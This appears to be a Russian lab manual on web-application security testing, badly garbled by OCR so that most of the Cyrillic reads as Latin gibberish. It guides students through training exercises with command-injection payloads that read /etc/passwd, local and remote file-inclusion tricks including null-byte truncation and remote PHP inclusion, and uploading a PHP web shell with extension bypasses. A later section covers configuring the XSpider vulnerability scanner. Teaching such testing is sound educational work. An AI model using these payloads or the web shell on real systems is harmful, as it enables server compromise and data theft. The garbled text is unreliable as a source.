127.0.0.1;uname%?20-a;whoami;cat%?20/etc/passwd.

[ar 4. Ilepeiitu no ccbiike «Command Injection — Example 2». IlpoananuzupoBaths J0ruKy
(YHKIMOHMPOBaHUS BeO-NpUIIoKeHUs. B kauecTBe mepeMeHHOH ip BBECTH 3HaUCHUE
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127.0.0.1;whoami. [IpocMoTpeTs BbIBOJ IpUiI0KeHUs. B kauecTBe nepeMeHHOH ip BBECTH
3Ha4YeHUE

127.0.0.1%0acat%?20/etc/passwd

Hlar 5. Ilepeiitu no cepuike «Command Injection — Example 3». [IpoananusupoBats J0rUKy
(GYHKIMOHUPOBaHUS BeO-NpMIIOKeHUs. B kauecTBe mepeMeHHOH ip BBECTH 3HaYCHUE
127.0.0.1;whoami. IIpocMoTpeTs BBIBOA MPUIIOKEHU. 3aIlyCTUTh ceTeBol aHanmu3aTop. [ToBTopuTh
3ampoc. byzer BeImosHeHO niepeHamnpasieHne Ha pecype example3.php?ip=127.0.0.1, HO B TO *e
Bpemsa HTTP-otset ¢ kogom 302 OyneT coaepkaTh BbIBOA KOMaH bl Whoami. 9TO 03Ha4aeT, u4To
npuiioxeHue ys3Bumo k atake Execution After Redirect (EAR). BBectu nepemeHHoi ip BBECTH
3HAYECHHE

;cat%20/etc/passwd

IIpocmoTpeTsb conepxkumoe daiina /etc/passwd B HTTP-otere.

Hlar 6. Ilepeiitu no ccwiike «File Include — Example 1». IIpoananu3upoBats JIOTUKY
(GYHKIMOHMPOBaHUS BeO-NpuiIokeHus. B kauecTBe nepeMeHHON page BBECTH 3HAYCHHE

S&VH*O)

ITpocMoTpeTh BBIBO cOOOIICHHUS 00 ombke. OnpenenuTh MyTh K ClieHapHsM Ha BeO-cepBepe. B
Ka4yecTBe MEPEMEHHOM page BBECTH 3HaUeHHE /etc/passwd. DTo 03HAYAET, YTO MPUIIOKEHHE
ys3BuMO Kk atake LFI. TIpocmoTpets comepkumoe. B kauecTBe mepeMeHHOM page BBECTH 3HAUCHUE
http://gmail.com. 9To 03Ha4aeT, 4ToO BeO- MpUIOKEHUE Ys3BUMO K atake Remote File Inclusion
(RFI).

B BeO-Opay3epe mepeiTu 1o anpecy https://pentesterlab.com/test _include.txt u
POCMOTpETh MOJydeHHBIH B oTBeTe PHP-kox. B kauecTBe 3HaueHHs MepeMEHHOM

page BBectH https://pentesterlab.com/test include.txt. [IpocMoTpeTh 1 IpOaHATU3UPOBATH
pe3yJIbTaTHI.
Hlar 7. Iepeiitu no ccwuike «File Include — Example 2». IIpoananu3upoBats JIOTUKY
(GYHKIMOHUPOBaHUS BeO-TpHIIOKeHUs. B kauecTBe mepeMeHHON page BBECTH 3HAUCHHE

&V

[TpocMoTpeTs BBIBOJ coobmIeHus 00 ommbke. OnpeaenuTs MyTh K ClieHapusIM Ha BeO-cepBepe. B

KadecTBe TIEPEeMEHHON page BBECTH 3HaueHue /etc/passwd. B maHHOM cityuae Kk BBEZICHHOMY

uMeHu ¢aitna nobdasmuseTcs pacumpenue «php». B kauecTBe mepeMeHHON page  BBECTH
3HAYCHUS /etc/passwd%00 u

https://pentesterlab.com/test_include.txt%00.
[IpocmoTpeTs 1 IpOaHATU3UPOBATE PE3YIILTATHI.

Hlar 8. Ilepeiitu no ccwike «File Upload — Example 1». [Ipoananu3upoBaTh JOTHKY
dbyukmonupoBanus Beo-npunoxenus. [Togrorosuts ¢aitn shell.php co cnenyromum PHP-kogom:

<?php system($_GET['cmd']);?>
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3arpy3uth aitn  Ha cepep. OTmpaBnsis  3ampOCHl  BUJBI

/upload/images/shell.php?cmd=whoami, BO3MOHO BBITOIHITH MPOU3BOJIbHBIE KOMAH bl HA
cepBepe ¢ IpaBaMy IOJIB30BATEIsA, OT IMEHH KOTOPOTO 3aIyIleH BeO-cepBep. BrimomHuTs
HECKOJIBKO KO- MaHJl, IPOCMOTPETH U MPOAHAIN3UPOBATH PE3yIbTATHI.

Hlar 9. Iepeiitu no ccwike «File Upload — Example 2». [Ipoananu3upoBaTh JOTHKY
(dbyukronupoBanus BeO-npunoxkenus. [logrorosuts ¢aiin shell.php co cnemyronum PHP-komom:

<?php system($_GET['cmd']);?>

3arpy3uTh (aitst Ha cepBep. Y OeaUTHCS, 9TO MPUIIOKEHUE HE JIOMyCKa- €T 3arpy3Ky (aiaoB ¢
pacupenueM «php». IlepeumenoBats daiin shell.php B shell.php.cats i shell.php3. 3arpy3uts
daiin,

IPOBEPUTH HATMYIUC BO3MOXKXHOCTHU BBIMTOJIHCHUS IMPOU3BOJIBHBIX KO- MAaH/I.

Bonpocwvl u 3a0anus
1. Kak aBTomMaTtuyecku WIACHTHU(PUIMPOBATH YA3BUMOCTH, CBS3aH- HbIE C 3arpy3Koil ¢ailioB Ha
cepsep?
2. V3yunTh peKOMEHIAIMH 110 peau3alliy 3allUIeHHON 3arpy3ku ¢GaiaoB Ha cepBep.
3. 3arpy3utb Ha cepsep U ucnonb3oBarb PHP menn-xox ¢99.

Cranuposanue ysazsumocmeli 6e0-npuio#CeHUll

Lenv pabomui

Lenbto mabopaTopHOil pabOTHI SABIAETCS U3YYEHUE OCHOBHBIX METO/IOB M CPEJICTB
UACHTU(QUKAIIMH YSI3BUMOCTEH, PeaTM30BaHHbBIX B CIICIIHAIM3MPOBAHHBIX CKaHEepax 0€30MacHOCTH
BEO-TIPHITIOKEHHA.

Kpamxue meopemuueckue ceéedenus

B nacrosiee BpeMst He CyIIECTBYET TEXHUUYECKOTO PELICHUS, TO3BOJISIONIETO MOJTHOCTHIO
ABTOMATU3HMPOBATH MPOIIECC aHAIKM3a 3AMUIIEHHOCTH BeO-ipuiioxkenuii [ 19, 20]. Kak mokaspiBaer
MpaKTUKa, CPEJICTBA aHATIM3A 3AIUIINEHHOCTH JOJKHBI HCTIOIB30BAThCS TOJIBKO HA IEPBOM HTaIe
TECTUPOBAHUS TaAKUX MPHIOKEHUN IS IPEIBAPUTEIILHOTO TTOUCKA MOTEHIIMABHBIX YSI3BUMOCTEH.
B nenom ckanepsl 6€30MaCHOCTH MOTYT TOMOYb HICHTU(PHUITUPOBATH XOPOIIIO N3BECTHHIC
1po0JIeMbI ¢ 6€30IMaCHOCTHIO BEO-TIPUIIOKEHHUM WIIH, 110 KpaliHel Mepe, 001erdyuTh paboTy 1Mo ux
MIOMCKY.

Kax IIpaBUJIO, ITPH aHATIKU3EC 3alUIIICHHOCTH Be6-HpHJ’I0)KeHHI>i CKaHECPhbI 0€e30macHOCTH
MO3BOJIAIOT PCIOUTL CIACAYIOMMNC 3a/1a4n:

] mouck TpyObIX HEIOCTATKOB, MOMYIICHHBIX HA 3Talax peaju3alud Wik KOHQUTypaluu;
] IOMCK XOPOILIO U3BECTHBIX YA3BUMOCTEN;
| mpoBepKa COOTBETCTBUSI TPEOOBAHUSAM CTaHAAPTOB 0€30IaCHOCTH;

IIPOBEpPKa OTCYTCTBUS MPOMYILIEHHBIX YSI3BUMOCTEN B IPOLIECCE PyUYHOT'0 TECTUPOBAHUS.

PaccmotpuM MeToapl 1 MEXaHU3MBI TTIOMCKA YA3BUMOCTEHN BEO- MPUIIOKEHHUI Ha pUMepe
ckaHepa Oe3zomacHocTH o01ero Ha3HaueHus XSpider.
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B pamkax aHanu3a 3allMIIEHHOCTH BeO-MpUIIOXKeHUH ckaHep Oe3omacHocTH XSpider nmeer
CJIEAYIOUINE OCHOBHBIE BO3MOXKHOCTH:

] aBTOMaTHYECKOE OMpe/iesieHHe BeO-MPUI0KEHUI Ha TPOU3BOJIBHBIX TIOPTax;
| pabota ¢ nmpotokonamu cemeiictea SSL/TLS;
] aBTOMaTHM4ecKas MHIEKcAIHs BeO-cepBepa ¢ MoIepKKor (DYHKIHH MOUCKA CKPBITHIX
JTUPEKTOPHIA U Pe3ePBHBIX KOMUi (hailiios;
noguepxka HTTP-ayrentudukanun Basic u HeCTaHIAPTHBIX CXEM ayTEHTH(HUKAIIAH;
aBTOMATHYECKOE OTCIICKUBAHUE CECCUIL;
MOUCK YSA3BUMBIX M BPEIOHOCHBIX CLIEHApUEB 110 COJIEPKUMOMY BEO-10KYMEHTA;
IBPUCTHUECKHUI MIOMCK OCHOBHBIX YS3BUMOCTEHN BEO-IIPUIIOKEHUI.
Ecnu B xo11e neHTH(UKALNN OTKPBITHIX MIOPTOB U CIIY>K0 Ha CKAHUPYEMOM Yy3Jie 0OHapyKeH
BeO-cepBep, TO CKAHEP BHIMOJHAET MOUCK YSA3BUMOCTEH, COOTBETCTBYIOIIMX €0 THUITY (Harpumep,
Apache, IIS, Nginx u T.1.), a TaKke yCTaHOBICHHBIM paciupeHusm (ASP, FrontPage u 1.1m.).

(I I R

Crnenyrolum 3TaroMm sBisieTcs ayTeHTU(UKaIKsL, aBTOpU3alHsl U IPOBEpKa U3BECTHBIX
ySI3BUMOCTEH BeO-npuiioskeHnid. B HacTosee Bpems ckanupytoiiee s11po XSpider moaiep>kuBaet
TPU MEXaHU3Ma ayTeHTHU(PUKALUU:

] Basic;
1 NTLM;
] cobcTBEHHBIE CXEMBI ayTeHTU(UKAIIUK (HanpuMep, ayTeHTU(HKa- 1us yepe3 Gpopmy BeO-
TIPUIIOKEHUSA).
B cityuae, eciu cepBep HCIONB3yeT COOCTBEHHBIE MEXaHU3MBI ayTEHTH(PHUKALINN, TO BO3MOXKHO
UCTIOJIb30BAaHUE OJTHOTO M3 JIBYX BapHAHTOB.

[TepBslii U3 HUX — UCTIOTB30BAHUE COOCTBEHHOT'O CTAPTOBOTO 3ampoca. B 3Tom ciydae ckanepy
Heooxoaumo 3aaath HTTP-3ampoc, ucmonas3yeMblit ipu mepBoM 00pallieHuu K caiTy. Bropoii
crnoco0 noapaszyMmeBaeT KoH(purypupoBanue u ucnoib3zoBanue HTTP-3aromnoskos ¢
ayTeHTH(UKAIMOHHBIMU JaHHBIMU (3arojioBku Cookie, X-Auth-Token u T.1.), KOTOpBIE OYAYT
nepecsuiatbed B kKaxaoM HTTP- 3anpoce. [onyuurs conepxumoe 3amnpoca MOXKHO € ITOMOIIBIO
m000Tr0 ceTeBoro ananuzaropa (Hanpumep, Wireshark, Httpwatch) nnm npokcu- cepsepa
(mammpumep, Burp Suite).

ITocne 3TOroO BKIIIOYAETCA MEXaHU3M IIOUCKA CKPBITBIX TUPEKTOPUM M HHIAEKCALUU
cozepxuMoro. B xozne cbopa conepKuMoro ckanupyouiee 1apo XSpider aHaau3UpyeT Ha MpeIMeT
HaJINYMS TUIEPCCHUIOK BEO-CTPaHMIIBL, @ TAKXKE PA3IUYHbIE CIIyKeOHbIE U HH(POPMALIMOHHBIE
¢aiinel, conepxaiecs Ha cepBepe (Hampumep, robots.txt wimm readme.txt). [Tocne moctpoenus
KapThl caiiTa CKaHep MepPexo/] B P&KUM IIOUCKA YA3BUMOCTEH, KOTOpbIe 0TOOPAXKarOTCs B KOHCOJIH
MIPOTpaMMBI 110 Mepe 0OHApYKEHUSI.

Ilocmanoska 3a0auu
BBINONTHUTE CKAHUPOBAHUE YSI3BUMOCTEH BEO-TIPHIIOKEHUS C MCIOIBb30BaHHEM CKaHepa
6e3onmacHocTu o01miero HazHaueHust XSpider.

Iocnedosamenvrnocms Oelicmsuii

[ar 1. Pa3zBepHyTh TeCTOBOE HEOE30MaCHOE BEO-TIpHIIOKEHHE. 3amyCcTUTh ckaHep XSpider.
Co3znaTh WM OTKPHITH POk ckaHupoBanus « Web scan». CIUCOK CKaHUPYEMbBIX TIOPTOB
orpaHu4uTh 3HaueHussMu 80/tcp u 443/tcp. OtknmrounTh ckanupoBanue UDP-nopToB, BKIIIOUNTH
UICHTU(DHUKAINIO CEPBHCOB.

[ar 2. Bxmounts Bce omumu B pasaene «HTTP». B pazpene
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«AHanu3aTop KOHTEHTa» OCTaBUTh BKIIOYEHHBIMH OIIIMHU 110 UCIIOJIB30BAHUIO CIIOBAPEH, TOUCKY
cTapbIx (aiIoB ¥ OUCKY BpenoHOCHOTO Koma. [Ipn HeoOxoaumocTr 100aBUTh TOMOJTHUTEIBHBIE
CCBUIKH.

[ar 3. B pa3nene «Tunsl ys3BUMOCTE» OCTaBUTh TOJIBKO «SQL- HHBEKIIMNY, «Y JaJeHHOe
BBINOJIHEHHE KOMaH1», «IIpocMOTp Mpou3BOIbHBIX (ailno» u «MexcaToBblit CKpUNTHHT (XSS)».
OTtkir0unTh MoAOOp yueTHBIX 3anuceil. CoxpaHuth Npoduis. 3amyCcTUTh CKaHUPOBAaHKE BEO-
MPUIIOKEHHUS C HCIIONBb30BaHUEM CO3JIaHHOTO Mpodmid. [IpocMoTpeTs pe3ysbTaThl.
[Ipoanann3upoBath

3aIpoChI, OTIPABIACMBIC CKAHCPOM IIPU BBIIIOJIHECHUHN IIPOBEPOK HA HATTUYHNE y;[3BPIMOCT€I>i.

Hlar 4. AyrentudunupoBatbes B BeO-puiioxkeHnd. C MOMOIIBIO aHAIM3aTOpa 3alpOCOB
coxpanuts HTTP-3ampocsl, cogeprxaiue ayreHTudukannonssle qanuelie (Cookie, 3aroyioBku 1
T.11.). OTKpBITH Tpopmitb «Web scan», 100aBUTh ayTeHTH(PUKALMOHHBIE JaHHBIE B pa3jiese
«/lononHutenbHbIe nosid 3ampoca». CoxpaHuTh Npo¢uiib. BEINOIHUTE TOBTOPHOE CKAHUPOBAHMUE.
CpaBHUTH pe3yibTAThI.

Bonpocwvl u 3a0anus
1. BbInogHUTH py4HbIe MPOBEPKH HATHUYKS OOHAPYKEHHBIX CKaHE- POM YSA3BUMOCTEH B BeO-
MPUIOKECHUU.
2. BBINOJIHUTH CKAHUPOBAHUE TOTO K€ MPUIIOKEHHUS ¢ oMolibio ckanepa W3AF, cpaBHUTH
MOJIyYEHHBIEC PE3YJIbTaThI.
PeanuzoBath BeO-mipuiiokeHuE, yA3BUMOE K aTake XSS, KOTOPOEe UHBEPTUPYET BBEACHHbIE
[0JIb30BaTENEM JIaHHbIE U BBIBOAUT UX B HTML-n0KkyMeHT. BhIONIHUTE CKAHUPOBAHKUE JAHHOTO
MIPUJIOKEHHUS C TOMOIIBIO JIF0OOTO CKaHepa BEO-MPUIOKEHHIA.

5 HudopmanuoHHoe odecnevyeHne o0yueHust
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